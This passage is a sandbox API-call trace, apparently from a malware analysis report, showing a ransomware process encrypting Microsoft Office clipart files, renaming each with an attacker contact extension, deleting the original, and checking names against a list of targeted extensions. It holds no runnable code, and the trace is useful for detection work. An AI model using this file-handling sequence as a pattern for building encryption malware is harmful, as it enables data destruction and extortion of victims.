	[0263.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.797] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.797] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.797] GetLastError () returned 0x0
	[0263.797] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xe70, lpOverlapped=0x0) returned 1
	[0263.799] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xe80, lpOverlapped=0x0) returned 1
	[0263.800] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.800] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.800] SetEndOfFile (hFile=0x358) returned 1
	[0263.800] CloseHandle (hObject=0x358) returned 1
	[0263.800] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.800] SetEndOfFile (hFile=0x220) returned 1
	[0263.802] CloseHandle (hObject=0x220) returned 1
	[0263.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 1
	[0263.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63
	[0263.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63
	[0263.802] lstrlenW (lpString=".doc") returned 4
	[0263.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.802] lstrlenW (lpString=".docx") returned 5
	[0263.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.802] lstrlenW (lpString=".pdf") returned 4
	[0263.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.802] lstrlenW (lpString=".xls") returned 4
	[0263.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.803] lstrlenW (lpString=".xlsx") returned 5
	[0263.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.803] lstrlenW (lpString=".ppt") returned 4
	[0263.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63
	[0263.803] lstrlenW (lpString=".zip") returned 4
	[0263.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.803] lstrlenW (lpString=".rar") returned 4
	[0263.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.803] lstrlenW (lpString=".bz2") returned 4
	[0263.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.803] lstrlenW (lpString=".7z") returned 3
	[0263.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63
	[0263.803] lstrlenW (lpString=".dbf") returned 4
	[0263.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63
	[0263.803] lstrlenW (lpString=".1cd") returned 4
	[0263.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 63
	[0263.803] lstrlenW (lpString=".jpg") returned 4
	[0263.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.803] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=1564) returned 1
	[0263.804] CloseHandle (hObject=0x220) returned 1
	[0263.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x20
	[0263.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0263.804] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.804] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.805] GetLastError () returned 0x0
	[0263.805] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x61c, lpOverlapped=0x0) returned 1
	[0263.807] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x620, lpOverlapped=0x0) returned 1
	[0263.807] ReadFile (in: hFile=0x220, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.807] WriteFile (in: hFile=0x358, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.807] SetEndOfFile (hFile=0x358) returned 1
	[0263.807] CloseHandle (hObject=0x358) returned 1
	[0263.808] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.808] SetEndOfFile (hFile=0x220) returned 1
	[0263.809] CloseHandle (hObject=0x220) returned 1
	[0263.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 1
	[0263.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63
	[0263.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63
	[0263.810] lstrlenW (lpString=".doc") returned 4
	[0263.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.810] lstrlenW (lpString=".docx") returned 5
	[0263.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.810] lstrlenW (lpString=".pdf") returned 4
	[0263.810] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.810] lstrlenW (lpString=".xls") returned 4
	[0263.810] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.810] lstrlenW (lpString=".xlsx") returned 5
	[0263.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.810] lstrlenW (lpString=".ppt") returned 4
	[0263.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63
	[0263.810] lstrlenW (lpString=".zip") returned 4
	[0263.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.811] lstrlenW (lpString=".rar") returned 4
	[0263.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.811] lstrlenW (lpString=".bz2") returned 4
	[0263.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.811] lstrlenW (lpString=".7z") returned 3
	[0263.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63
	[0263.811] lstrlenW (lpString=".dbf") returned 4
	[0263.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63
	[0263.811] lstrlenW (lpString=".1cd") returned 4
	[0263.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 63
	[0263.811] lstrlenW (lpString=".jpg") returned 4
	[0263.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.965] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4660) returned 1
	[0263.965] CloseHandle (hObject=0x358) returned 1
	[0263.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x20
	[0263.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0264.040] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.041] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0264.055] GetLastError () returned 0x0
	[0264.055] ReadFile (in: hFile=0x344, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1234, lpOverlapped=0x0) returned 1
	[0264.079] WriteFile (in: hFile=0x32c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1240, lpOverlapped=0x0) returned 1
	[0264.080] ReadFile (in: hFile=0x344, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.080] WriteFile (in: hFile=0x32c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0264.080] SetEndOfFile (hFile=0x32c) returned 1
	[0264.080] CloseHandle (hObject=0x32c) returned 1
	[0264.080] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.080] SetEndOfFile (hFile=0x344) returned 1
	[0264.082] CloseHandle (hObject=0x344) returned 1
	[0264.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.103] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 1
	[0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63
	[0265.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63
	[0265.072] lstrlenW (lpString=".doc") returned 4
	[0265.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.072] lstrlenW (lpString=".docx") returned 5
	[0265.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.072] lstrlenW (lpString=".pdf") returned 4
	[0265.073] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.073] lstrlenW (lpString=".xls") returned 4
	[0265.073] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.073] lstrlenW (lpString=".xlsx") returned 5
	[0265.073] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.073] lstrlenW (lpString=".ppt") returned 4
	[0265.073] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63
	[0265.073] lstrlenW (lpString=".zip") returned 4
	[0265.073] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.073] lstrlenW (lpString=".rar") returned 4
	[0265.073] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.073] lstrlenW (lpString=".bz2") returned 4
	[0265.073] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.073] lstrlenW (lpString=".7z") returned 3
	[0265.073] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63
	[0265.073] lstrlenW (lpString=".dbf") returned 4
	[0265.073] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63
	[0265.073] lstrlenW (lpString=".1cd") returned 4
	[0265.073] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 63
	[0265.073] lstrlenW (lpString=".jpg") returned 4
	[0265.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.086] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.086] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0265.087] GetLastError () returned 0x0
	[0265.087] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xcd6, lpOverlapped=0x0) returned 1
	[0265.107] WriteFile (in: hFile=0x220, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xce0, lpOverlapped=0x0) returned 1
	[0265.108] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.108] WriteFile (in: hFile=0x220, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.108] SetEndOfFile (hFile=0x220) returned 1
	[0265.108] CloseHandle (hObject=0x220) returned 1
	[0265.108] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.108] SetEndOfFile (hFile=0x358) returned 1
	[0265.110] CloseHandle (hObject=0x358) returned 1
	[0265.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf")) returned 1
	[0265.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63
	[0265.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63
	[0265.170] lstrlenW (lpString=".doc") returned 4
	[0265.170] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0265.170] lstrlenW (lpString=".docx") returned 5
	[0265.170] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0265.170] lstrlenW (lpString=".pdf") returned 4
	[0265.170] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0265.170] lstrlenW (lpString=".xls") returned 4
	[0265.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0265.171] lstrlenW (lpString=".xlsx") returned 5
	[0265.171] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0265.171] lstrlenW (lpString=".ppt") returned 4
	[0265.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0265.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63
	[0265.171] lstrlenW (lpString=".zip") returned 4
	[0265.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0265.171] lstrlenW (lpString=".rar") returned 4
	[0265.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0265.171] lstrlenW (lpString=".bz2") returned 4
	[0265.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0265.171] lstrlenW (lpString=".7z") returned 3
	[0265.171] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0265.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63
	[0265.171] lstrlenW (lpString=".dbf") returned 4
	[0265.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0265.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63
	[0265.171] lstrlenW (lpString=".1cd") returned 4
	[0265.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0265.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF") returned 63
	[0265.171] lstrlenW (lpString=".jpg") returned 4
	[0265.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0265.172] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3016) returned 1
	[0265.172] CloseHandle (hObject=0x320) returned 1
	[0265.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x20
	[0265.172] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0265.172] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.172] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0265.172] GetLastError () returned 0x0
	[0265.172] ReadFile (in: hFile=0x320, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xbc8, lpOverlapped=0x0) returned 1
	[0265.210] WriteFile (in: hFile=0x2a4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xbd0, lpOverlapped=0x0) returned 1
	[0265.210] ReadFile (in: hFile=0x320, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.210] WriteFile (in: hFile=0x2a4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0265.210] SetEndOfFile (hFile=0x2a4) returned 1
	[0265.210] CloseHandle (hObject=0x2a4) returned 1
	[0265.211] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.211] SetEndOfFile (hFile=0x320) returned 1
	[0265.213] CloseHandle (hObject=0x320) returned 1
	[0265.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 1
	[0265.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63
	[0265.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63
	[0265.213] lstrlenW (lpString=".doc") returned 4
